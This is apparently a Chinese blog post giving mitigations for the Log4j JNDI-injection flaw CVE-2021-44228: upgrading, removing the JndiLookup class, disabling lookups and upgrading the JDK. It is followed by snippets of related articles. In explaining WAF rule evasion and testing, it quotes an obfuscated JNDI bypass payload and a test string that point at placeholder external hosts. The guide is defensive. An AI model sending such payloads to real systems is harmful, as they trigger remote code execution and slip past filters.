CVE-2021-44228，原理上是 log4j-core 代码中的 JNDI 注入漏洞。这个漏洞可以直接导致服务器被入侵，而且由于“日志”场景的特性，攻击数据可以多层传导，甚至可以威胁到纯内网的服务器。log4j 作为 Java 开发的基础公共日志类，使用范围非常广，漏洞必定影响深远，想想当年commons-collections反序列化漏洞的影响范围。

Github漏洞公告：
https://github.com/advisories/GHSA-jfh8-c2jp-5v3q

影响 < 2.15.0 的所有 2.x 版本。也就是说，除了最新版本之外的所有版本都受影响。

最直接、有效、稳定的修复方式是：将 log4j-core 升级到 2.15.0 版本

如果实在无法升级，可以尝试把漏洞类删掉。其他修复方式可以结合使用起到比较好的快速缓解作用，但受限于不同的环境，可能会产生各种各样比较麻烦的问题或者未来的隐患。长期修复方案需要保证稳定、可靠、持久有效，这种严重漏洞值得一个发布和重启。

2.15.0 版本下载地址：
https://repo.maven.apache.org/maven2/org/apache/logging/log4j/log4j-core/2.15.0/

pom.xml 配置

<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.15.0</version>
</dependency>

缓解方式1：接入安全产品

第一时间上WAF规则、RASP拦截等措施，给修复争取时间。

但是也要注意一些静态规则上的绕过，log4j 支持的写法比较多，有非常多绕过姿势。比如：

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

缓解方式2：删除漏洞类

通过删除漏洞类进行修复的方案比较稳，也是官方推荐的一种修复方案。直接删除 log4j jar 包中存在漏洞的类：

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

这种修复比较方便快捷，一般业务代码也不会用到 jndi lookup 这个功能。不过可能会对基于版本号判定的安全数据采集造成一定困扰，无法准确统计漏洞的最新受影响情况。建议删除之后在 jar 包后面加上一定的标记，如： log4j-2.14.1.sec.jar

另外，由于某些原因不想删除的话，可以自己代码替换原始的 JndiLookup 类，将它加到业务代码中。需要注意的是，必须保证它在 log4j 原类之前加载。

package org.apache.logging.log4j.core.lookup;public class JndiLookup {public JndiLookup() {throw new NoClassDefFoundError("JNDI lookup is disabled");}
}

也可以做成依赖包，在 log4j-core 之前添加，可以实现同样的效果（注意不要引入不可信的第三方依赖，可能导致潜在安全风险，以下配置来源互联网，仅作为示例，请勿直接使用）：

<dependency><groupId>org.glavo</groupId><artifactId>log4j-patch</artifactId><version>1.0</version>
</dependency>

当然也可以通过RASP的方式干掉漏洞类，Github上有不少RASP的无损修复方案，比如：

https://github.com/chaitin/log4j2-vaccine

https://github.com/boundaryx/cloudrasp-log4j2

缓解方式3：通过配置禁用 log4j 的 lookup 功能

禁用的方式就比较多了。然而下面2、3、4这几种方式对低于 2.10 版本的 log4j-core 都没有效果，而且环境变量和启动参数这种设置，在迁移或者变更的过程中丢失的可能性比较大。log4j 在 2.15.0 版本中默认就已经关闭了 lookup 功能。

log4j2.component.properties、log4j2.xml 默认放在 ClassPath 路径下，如：源代码的资源目录或者可执行程序所在的当前目录。

1. 设置日志输出 Pattern 格式

对于 >=2.7 的版本，在 log4j 中对每一个日志输出格式进行修改。在 %msg 占位符后面添加 {nolookups}，这种方式的适用范围比其他三种配置更广。比如在 log4j2.xml 中配置：

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN"><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n"/></Console></Appenders><Loggers><Root level="error"><AppenderRef ref="Console"/></Root></Loggers>
</Configuration>

public class Test {public static void main(String[] args) {String t = "${jndi:ldap://xxx.com/xxx}";Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);logger.error(t);}
}

2. 设置JVM系统属性

在 Java 应用启动参数中增加
-Dlog4j2.formatMsgNoLookups=true，或者在业务代码中设置系统属性：

// 必须在 log4j 实例化之前设置该系统属性
System.setProperty("log4j2.formatMsgNoLookups", "true");Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);

3. 修改配置文件

在配置文件
log4j2.component.properties 中增加：log4j2.formatMsgNoLookups=true，配置文件放置于应用程序的 ClassPath 路径下。

4. 设置进程环境变量

在环境变量中增加：
LOG4J_FORMAT_MSG_NO_LOOKUPS=true

注意！这些配置和属性，并不能在所有场景下生效，比如在 logstash 中就无法生效： Solutions and Mitigations: The widespread flag
-Dlog4j2.formatMsgNoLookups=true does NOT mitigate the vulnerability in Logstash, as Logstash uses Log4j in a way where the flag has no effect. It is therefore necessary to remove the JndiLookup class from the log4j2 core jar, with the following command:

zip -q -d /logstash-core/lib/jars/log4j-core-2.* org/apache/logging/log4j/core/lookup/JndiLookup.class

Refer: https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476

缓解方式4：升级JDK版本

对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说，默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载。对于 RCE 来说，可以起到很直接的缓解作用，可以作为增强型的加固方案。

在高版本JDK环境下，JNDI注入也还是存在一定RCE风险，可以参考这篇文章：
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

另外 log4j 漏洞本身除了 RCE，还存在着巨大的攻击面，比如 SSRF、敏感信息泄露等等，威胁非常大，不要企图仅仅通过升级JDK版本来修复漏洞，建议还是老老实实升级。

Log4j 严重漏洞修最新修复方案参考相关推荐

Apache Log4j2 RCE 命令执行漏洞预警及修复方案
漏洞名称:Apache Log4j2远程代码执行漏洞组件名称:Apache Log4j2 截止2021年12⽉10⽇,受影响的Apache log4j2版本: 2.0≤Apache Log4j< ...
Log4j2核弹级漏洞线上修复方案！
一.漏洞描述2月9日晚,Apache Log4j2反序列化远程代码执行漏洞细节已被公开,Apache Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利 ...
漏洞扫描常见修复方案
1.Apache JServ protocol service 描述: 问题出在Tomcat的8009端口,错误的提示是8009端口上运行着tcp协议. 修复方案: 解决办法: 只能是通过关闭8009 ...
ajax无刷新kesion,Kesion cms注入漏洞分析及其修复方案
函数过滤混乱导致注入复制代码代码如下: Dim KS:Set KS=New PublicCls Dim Action Action=KS.S("Action") Select C ...
服务器安全狗系统漏洞修得未修复,服务器安全狗V2.2实测：更智能更灵活地保护您的服务器安全...
安全狗工作室官方消息,最新版本服务器安全狗V2.2 beta1.0已在7月21号正式发布.笔者通过私人途径,获得新版安全狗发布之前的实测机会.闲话未几说,让我们一起来见识下新版服务器安全狗V2.2 b ...
Linux glibc 库的修复方案扯出更严重的新漏洞
聚焦源代码安全,网罗国内外最新资讯! 作者:Steven J. Vaughan-Nichols 编译:代码卫士 GNC C Library (glibc) 库对 Linux 至关重要.因此当它出问题 ...
Window 远程桌面漏洞风险，各个厂家的扫描修复方案（CVE-2019-0708）
Window 远程桌面漏洞风险,各个厂家的扫描修复方案(CVE-2019-0708) 自微软公司于2019年5月14日发布远程桌面服务远程代码执行漏洞(CVE-2019-0708)安全公告后,整个业界 ...
java+poodle漏洞修复_SSL3.0 POODLE漏洞修复方案
SSL3.0 POODLE漏洞修复方案发布时间:2014-10-15 15:02:27 关于SSLPOODLE漏洞 POODLE = Padding Oracle On Downgraded Leg ...
绿盟漏扫系统漏洞及修复方案
绿盟漏扫系统漏洞及修复方案漏洞1 详细描述: 1.X-Content-Type-Options HTTP 消息头相当于一个提示标志,被服务器用来提示客户端一定要遵循在 Content-Type 首部 ...

Log4j 严重漏洞修最新修复方案参考